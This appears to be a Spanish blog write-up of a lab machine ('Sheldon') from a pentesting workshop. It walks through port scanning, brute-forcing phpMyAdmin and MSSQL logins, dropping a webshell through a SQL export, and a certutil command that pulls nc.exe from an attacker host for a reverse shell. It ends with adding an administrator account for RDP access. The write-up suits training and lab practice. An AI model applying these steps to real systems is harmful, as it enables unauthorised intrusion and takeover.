[Pentesting4ever]: Sheldon

Buenas!

Como prometí por twitter aquí tenemos un write-up sobre otra de las máquinas que se han empleado durante las diferentes versiones del taller «Pentesting4ever». En esta ocasión, se trata de la máquina Sheldon que se vio tanto en NavajaNegra 9ºed como en HoneyCon V.

La solución se divide en tres fases:

  • Enumeración
  • Explotación
  • Escalada de privilegios

Enumeración

Para identificar la máquina en nuestra red se puede hacer uso de herramientas como netdiscover, arp-scan o inlcuso nmap. Una vez localizado se emplea nmap para lanzar un scan de puertos:

nmap -sV -T4 –open 192.168.1.81

Se pueden apreciar diferentes servicios interesantes como:

  • HTTP (80)
  • SMB (445)
  • HTTPS (443)
  • MSSQL (1433)
  • MySQL(3306)
  • RDP (3389) #aunque en esa captura no sale

A través de los banners se identifica que se trata de un sistema operativo Windows Server, pudiendo ser 2008 ó 2012 y dos servicios de bases de datos abiertos. A pesar de estar abierto el servicio mysql aparece «unauthorized», esto indica que el acceso posiblemente esté restringido a nivel de IP por lista blanca. Efectivamente al tratar de conectar devuelve el siguiente mensaje de error:

A continuación, se accede vía web para identificar que hay corriendo en el servidor, identificando un blog del joven Sheldon (el cual parece que no lo ha implementado del todo bien), haciendo uso del popular CMS WordPress:

Haciendo una pequeña enumeración se identifica el panel de login por defecto en donde se pueden aplicar técnicas de fuerza bruta:

Como se puede apreciar en la imagen anterior, se detecta el icono del gestor xampp, por lo que se podría intentar acceder al dashboard:

Sin embargo, se encuentra protegido y no ha sido posible descubrir sus credenciales.

Empleando herramientas como dirsearch se trata de descubrir posibles ficheros, directorios o recursos instalados sobre el servidor web:

Llama la atención la presencia del gestor de aplicaciones phpmyadmin, aunque desafortunadamente (para nosotros), está configurado solicitando una contraseña (sin null session).

Por lo tanto, se aplican técnicas de fuerza bruta con objeto de descubrir si se han establecido contraseñas deducibles o inseguras, logrando acceso al ser las credenciales de la kali (root:toor)

Analizando su contenido, se identifica la base de datos de wordpress, en donde se podrían consultar los usuarios y sus credenciales:

Ahora bien, se encuentran hasheadas, por lo que habría que aplicar fuerza bruta, o si se piensa un poco, directamente se podrían cambiar y acceder. De esta manera, se accedería como administrador a la parte autenticada de wordpress pudiendo ejecutar código y lograr acceso a la máquina como se detallo aquí: https://fwhibbit.es/euskalhack-iv-pentesting4ever-illidan

Este sería uno de los vectores pero no el único 😉

Explotación

Al ser el usuario root, tenemos permisos para crear nuevas bases de datos, por lo tanto, se crea una nueva insertando como sentencia SQL una webshell que se exportará a un fichero accesible desde el htdocs de xampp, el cual es accesible externamente:

Accediendo a ella, vemos sobre qué usuario está corriendo phpmyadmin:

Haciendo uso del lolbin certutil que viene instalado en Windows Server es posible transferir nc.exe a la máquina, previamente es necesario levantar un listener con python (SimpleHTTPServer) en la máquina atacante:

certutil -urlcache -split -f «http://192.168.1.59:1234/nc64.exe» «C:\xampp\htdocs\nc64.exe»

file://C:\Users\tf06021\AppData\Local\Temp\ct_tmp/1.png

A pesar que la máquina tiene 64 bits, el nc64.exe no funciona correctamente, pues llega la shell pero moría al instante. Por este motivo, se transfirió en su lugar nc.exe

A continuación, se muestran los ficheros transferidos tras lograr acceso remoto a través de otro método (que se explica más abajo):

De esta manera, desde la webshell es posible ejecutar nc.exe, llegando de esa manera la shell reversa:

Siendo system, desde la propia webshell es posible crear un usuario y añadirlo al grupo de administradores, para posteriormente acceder por RDP.

En la fase de enumeración se identificó el puerto 1433 que se corresponde con MSSQL. A partir de Microsoft SQL 2005, por defecto el proceso xp_cmdshell está deshabilitado, y el usuario sa ya no tiene contraseña en blanco, no obstante, ya sabemos que en ocasiones se configuran las opciones por usabilidad que por comodidad. Tras realizar un poco de fuerza bruta (< 2 min) con rockyou, se obtiene que la contraseña es blink182 (vamos!)

Se puede hacer uso del script de nmap para ejecutar comandos mediante el proceso xp_cmdshell si estuviera habilitado para ejecutar comandos remotamente:

Sin embargo, este script a veces da fallos, como se puede apreciar se pidió ejecutar whoami, pero en su lugar ha sido ipconfig. Por lo tanto, se podría ejecutar permisos como system para crear un usuario, añadirlo al grupo de administradores y acceder por RDP.

Nos vemos en el próximo post!

Saludos.

N4xh4ck5